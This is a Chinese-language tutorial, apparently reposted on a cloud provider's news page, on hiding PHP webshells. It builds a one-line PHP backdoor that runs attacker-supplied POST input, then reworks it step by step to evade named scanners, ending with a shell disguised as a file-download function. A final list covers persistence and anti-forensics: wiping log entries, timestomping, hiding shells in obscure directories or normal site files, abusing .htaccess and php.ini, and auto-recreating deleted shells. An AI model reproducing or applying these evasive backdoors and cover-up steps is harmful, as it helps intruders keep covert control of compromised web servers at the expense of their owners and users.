您好,登錄后才能下訂單哦!
本篇文章為大家展示了如何優雅的隱藏你的Webshell,內容簡明扼要并且容易理解,絕對能使你眼前一亮,通過這篇文章的詳細介紹希望你能有所收獲。
隱藏webshell最主要的就是做免殺,免殺做好了,你可以把webshell放在函數庫文件中或者在圖片馬中,太多地方可以放了,只要查殺工具查不到,你的這個webshell就能存活很長時間,畢竟管理員也沒有那么多精力挨個代碼去查看。
這里使用我們最常用的php的一句話馬來給大家做演示,PHP版本是5.6的,在寫一句話馬之前我們來先分析一下PHP執行命令方法
使用php函數直接運行命令,常見的函數有(eval、system、assert)等,可以直接調用命令執行。
@eval('echo 這是輸出;');
我們先把一個函數名當成一個字符串傳遞給一個變量,在使用變量當作函數去執行
$a="phpinfo";$a();
有兩個php文件,我們把執行命令的放在文件b中,使用文件a去包含,達到執行的效果
b.php <?php @eval('echo 這是輸出;'); a.php <?php include a.php
將想要執行命令的函數賦值給一個變量,再用一個可以調用函數執行的函數把變量解析成函數,這么說可能有點繞,看一下array_map函數的用法:array_map函數中將$arr每個元素傳給func函數去執行,例子:
<?php $func = 'system'; $arr = array('whoami'); array_map($func, $arr);
我們可以理解為字符串中摻雜了變量,再使用變量去拼接字符串,達到命令執行的效果
<?php $a = 'p'; eval("{$a}hpinfo();");
這是根據php反序列化漏洞來實現命令執行,可以先創建一個反序列化的漏洞文件,再去調用反序列化函數unserialize
<?php class test{ public $a="123"; public function __wakeup(){ eval($this->a); } } unserialize('O:4:"test":1:{s:1:"a";s:10:"phpinfo();";}');
php://input
可以訪問請求的原始數據的只讀流,我們可以理解為我們傳post參數,php://input
會讀取到,這時候我們就可以加以利用了
<?php @eval(file_get_contents('php://input'));
preg_replace
函數執行一個正則表達式的搜索和替換。我們可以使用一個命令執行函數去替換正常的字符串,然后去執行命令
<?php echo preg_replace("/test/e",phpinfo(),"jutst test");
ob_start函數是打開輸出控制緩沖,傳入的參數會在使用ob_end_flush
函數的時候去調用它執行輸出在緩沖區的東西
<?php $cmd = 'system'; ob_start($cmd); echo "whoami"; ob_end_flush();//輸出全部內容到瀏覽器
上面說了那么多其實都是一句話木馬的思路,每一種方式都可以寫成一句話木馬,而想要免殺常常會多種組合到一起,下面從最簡單的木馬一步步變形,達到免殺的目的
assert($_POST['x']);
這種就是最簡單的一句話木馬,使用D盾掃一下,可以看到5級,沒有什么好說的
動態函數方法,把assert
這個函數賦值兩次變量,再把變量當成函數執行
$a = "assert"; $b = $a; $b($_POST['x']);
回調函數方法,把assert
函數當作參數傳給array_map
去調用執行
<?php $fun = 'assert'; array_map($fun,array($_POST['x']));
可以看到上面的都是通過兩種方法的結合,簡單的處理一下,就變成了4級,感興趣的可以把其他的方法都嘗試一下,4級的很簡單,我們去看看3級的都是怎么處理的
通過上面的動態函數方法
我們可以思考,函數可以當成字符串賦值給變量,那么變量也一定能當成字符串賦值給變量,但調用時需要用$$
<?php $a = "assert"; $c ='a'; $$c($_POST['x']);
我們在把這種方法結合到回調函數方法中,可以看到,已經是2級了
<?php $fun = 'assert'; $f = 'fun'; array_map($$f,array($_POST['x']));
這時候我們看一下D盾中的說明:array_map中的參數可疑
,我們這時候可以用函數封裝一下參數
<?php function ass(){ $a = "a451.ass.aaa.ert.adaww"; $b = explode('.',$a); $c = $b[1] . $b[3]; return $c; } $b = array($_POST['x']); $c = ass(); array_map($c,$b);
1級了,離目標近在咫尺了,這時候我們應該考慮讓一句話木馬像正常的代碼,在好好的封裝一下
<?php function downloadFile($url,$x){ $ary = parse_url($url); $file = basename($ary['path']); $ext = explode('.',$file); // assert $exec1=substr($ext[0],3,1); $exec2=substr($ext[0],5,1); $exec3=substr($ext[0],5,1); $exec4=substr($ext[0],4,1); $exec5=substr($ext[0],7,2); $as[0] = $exec1 . $exec2 . $exec3 . $exec4 . $exec5; $as[1] = $x; return $as; } $a = $_POST['x']; $s = downloadFile('http://www.baidu.com/asdaesfrtafga.txt',$a); $b = $s[0]; $c = $s[1]; array_map($b,array($c));
再試試其他免殺工具
WebShellKiller:
安全狗:
微步云沙箱
再試試可不可以連接沒有問題,完美!!
1、拿到權限以后,把網站日志中的所有關于webshell的訪問記錄和滲透時造成的一些網站報錯記錄全部刪除
2、把webshell的屬性時間改為和同目錄文件相同的時間戳,比如linux中的touch就是非常好的工具
3、目錄層級越深越好,平時網站不出問題的話,一般四五級目錄很少會被注意到,盡量藏在那些程序員和管理員都不會經常光顧的目錄中比如:第三方工具的一些插件目錄,主題目錄,編輯器的圖片目錄以及一些臨時目錄
4、利用php.ini 配置文件隱藏webshell,把webshell的路徑加入到配置文件中
5、嘗試利用靜態文件隱藏一句話,然后用.htaccess 規則進行解析
6、上傳個精心構造的圖片馬,然后再到另一個不起眼的正常的網站腳本文件中去包含這個圖片馬
7、靠譜的方法就是直接把一句話插到正常的網站腳本文件里面,當然最好是在一個不起眼的地方,比如:函數庫文件,配置文件里面等等,以及那些不需要經常改動的文件……
8、如果有可能的話,還是審計下目標的代碼,然后想辦法在正常的代碼中構造執行我們自己的webshell,即在原生代碼中執行webshell
9、webshell里面盡量不要用類似eval這種過于敏感的特征,因為awk一句話就能查出來,除了eval,還有,比如:exec,system,passthru,shell_exec,assert這些函數都最好不要用,你可以嘗試寫個自定義函數,不僅能在一定程度上延長webshell的存活時間也加大了管理員的查找難度,也可以躲避一些功能比較簡陋waf查殺,此外,我們也可以使用一些類似:call_user_func,call_user_func_array,諸如此類的回調函數特性來構造我們的webshell,即偽造正常的函數調用
10、webshell的名字千萬不要太扎眼,比如:hack.php,sb.php,x.php這樣的名字嚴禁出現……,在給webshell起名的時候盡量跟當前目錄的,其他文件的名字相似度高一點,這樣相對容易混淆視聽,比如:目錄中有個叫new.php的文件,那你就起個news.php
11、如果是大馬的話,盡量把里面的一些注釋和作者信息全部都去掉,比如intitle字段中的版本信息等等,用任何大馬之前最好先好好的讀幾遍代碼,把里面的shell箱子地址全部去掉推薦用開源的大馬,然后自己拿過來仔細修改,記住,我們的webshell盡量不要用加密,因為加密并不能很好的解決waf問題,還有,大馬中一般都會有個pass或者password字符,建議把這些敏感字段全部換成別的,因為利用這樣的字符基本一句話就能定位到
12、養成一個好習慣,為了防止權限很快丟失,最好再同時上傳幾個備用webshell,注意,每個webshell的路徑和名字千萬不要都一樣更不要在同一個目錄下,多跳幾層,記住,確定shell正常訪問就可以了,不用再去嘗試訪問看看解析是否正常,因為這樣就會在日志中留下記錄,容易被查到
13、當然,如果在拿到服務器權限以后,也可以自己寫個腳本每隔一段時間檢測下自己的webshell是否還存在,不存在就創建
14、在有權限的情況,看看管理員是否寫的有動態webshell監測腳本,務必把腳本找出來,crontab一般都能看見了
上述內容就是如何優雅的隱藏你的Webshell,你們學到知識或技能了嗎?如果還想學到更多技能或者豐富自己的知識儲備,歡迎關注億速云行業資訊頻道。
免責聲明:本站發布的內容(圖片、視頻和文字)以原創、轉載和分享為主,文章觀點不代表本網站立場,如果涉及侵權請聯系站長郵箱:is@yisu.com進行舉報,并提供相關證據,一經查實,將立刻刪除涉嫌侵權內容。